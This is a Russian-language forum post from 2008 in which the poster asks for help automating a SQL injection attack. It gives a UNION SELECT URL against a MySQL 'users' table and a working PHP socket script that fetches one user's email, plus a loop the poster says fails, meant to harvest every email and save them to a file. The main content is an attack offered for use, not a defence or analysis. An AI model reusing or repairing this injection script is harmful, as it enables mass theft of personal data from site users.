
04.01.2008, 00:55
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так
http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users
Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт
PHP код:
<?php
$PORT = 80;
$ADDR = gethostbyname("site.com");
$fp = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($fp,$ADDR,$PORT);
$n = 2;
$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";
$str = $str1.$n.$str2;
socket_write($fp,$str,strlen($str));
while($out = socket_read($fp,2048))
{
$s = strstr($out,"<h1>");
$nm = strpos($s,"</h1>");
echo substr($s,4,$nm - 4);
}
socket_close($fp);
echo "<br>";
?>
Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так
PHP код:
for($i=0;$i < 10;$i++)
{
$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";
$str = $str1.$i.$str2;
socket_write($fp,$str,strlen($str));
while($out = socket_read($fp,2048))
{}
}
Но не работает. Подскажите плиз почему ?
Последний раз редактировалось ElteRUS; 04.01.2008 в 01:10..
|
|
|